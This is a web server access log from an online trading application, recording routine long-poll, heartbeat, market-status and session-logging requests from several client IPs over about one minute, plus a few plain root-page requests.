[09/Jan/2026:15:50:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:50:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:50:07 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945277839 HTTP/1.1" -
[09/Jan/2026:15:50:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:50:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:50:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945277882 HTTP/1.1" -
[09/Jan/2026:15:50:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945278656 HTTP/1.1" -
[09/Jan/2026:15:50:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945294310 HTTP/1.1" -
[09/Jan/2026:15:50:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945280882 HTTP/1.1" -
[09/Jan/2026:15:50:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:50:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:50:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945282878 HTTP/1.1" -
[09/Jan/2026:15:50:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945282939 HTTP/1.1" -
[09/Jan/2026:15:50:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945283674 HTTP/1.1" -
[09/Jan/2026:15:50:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945299335 HTTP/1.1" -
[09/Jan/2026:15:50:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945286887 HTTP/1.1" -
[09/Jan/2026:15:50:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945287931 HTTP/1.1" -
[09/Jan/2026:15:50:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945288720 HTTP/1.1" -
[09/Jan/2026:15:50:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945288149 HTTP/1.1" -
[09/Jan/2026:15:50:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945304355 HTTP/1.1" -
[09/Jan/2026:15:50:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945292880 HTTP/1.1" -
[09/Jan/2026:15:50:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945292974 HTTP/1.1" -
[09/Jan/2026:15:50:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945293756 HTTP/1.1" -
[09/Jan/2026:15:50:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945309380 HTTP/1.1" -
[09/Jan/2026:15:50:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945293316 HTTP/1.1" -
[09/Jan/2026:15:50:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945298009 HTTP/1.1" -
[09/Jan/2026:15:50:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:50:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:50:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945298889 HTTP/1.1" -
[09/Jan/2026:15:50:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:50:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:50:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945298779 HTTP/1.1" -
[09/Jan/2026:15:50:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945314443 HTTP/1.1" -
[09/Jan/2026:15:50:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945298443 HTTP/1.1" -
[09/Jan/2026:15:50:33 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945303045 HTTP/1.1" -
[09/Jan/2026:15:50:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945303803 HTTP/1.1" -
[09/Jan/2026:15:50:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945319476 HTTP/1.1" -
[09/Jan/2026:15:50:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945303493 HTTP/1.1" -
[09/Jan/2026:15:50:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945304888 HTTP/1.1" -
[09/Jan/2026:15:50:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:50:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:50:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:50:38 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945308076 HTTP/1.1" -
[09/Jan/2026:15:50:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:50:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945308822 HTTP/1.1" -
[09/Jan/2026:15:50:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945324508 HTTP/1.1" -
[09/Jan/2026:15:50:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945308714 HTTP/1.1" -
[09/Jan/2026:15:50:40 +0800] 167.99.136.12 - - "GET / HTTP/1.0" 362
[09/Jan/2026:15:50:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945310893 HTTP/1.1" -
[09/Jan/2026:15:50:41 +0800] 167.99.136.12 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:15:50:42 +0800] 64.226.100.58 - - "GET / HTTP/1.0" 362
[09/Jan/2026:15:50:42 +0800] 159.223.35.160 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:15:50:42 +0800] 64.226.100.58 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:15:50:43 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945313109 HTTP/1.1" -
[09/Jan/2026:15:50:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945313857 HTTP/1.1" -
[09/Jan/2026:15:50:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945329530 HTTP/1.1" -
[09/Jan/2026:15:50:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945313769 HTTP/1.1" -
[09/Jan/2026:15:50:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945316887 HTTP/1.1" -
[09/Jan/2026:15:50:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945318137 HTTP/1.1" -
[09/Jan/2026:15:50:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945318890 HTTP/1.1" -
[09/Jan/2026:15:50:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945334555 HTTP/1.1" -
[09/Jan/2026:15:50:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945318981 HTTP/1.1" -
[09/Jan/2026:15:50:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945322879 HTTP/1.1" -
[09/Jan/2026:15:50:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945323188 HTTP/1.1" -
[09/Jan/2026:15:50:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945323923 HTTP/1.1" -
[09/Jan/2026:15:50:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945339579 HTTP/1.1" -
[09/Jan/2026:15:50:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945324121 HTTP/1.1" -
[09/Jan/2026:15:50:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:50:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:50:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945328229 HTTP/1.1" -
[09/Jan/2026:15:50:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:50:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:50:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945328890 HTTP/1.1" -
[09/Jan/2026:15:50:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:50:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:50:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:50:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945328961 HTTP/1.1" -
[09/Jan/2026:15:50:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945344647 HTTP/1.1" -
[09/Jan/2026:15:51:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945329253 HTTP/1.1" -
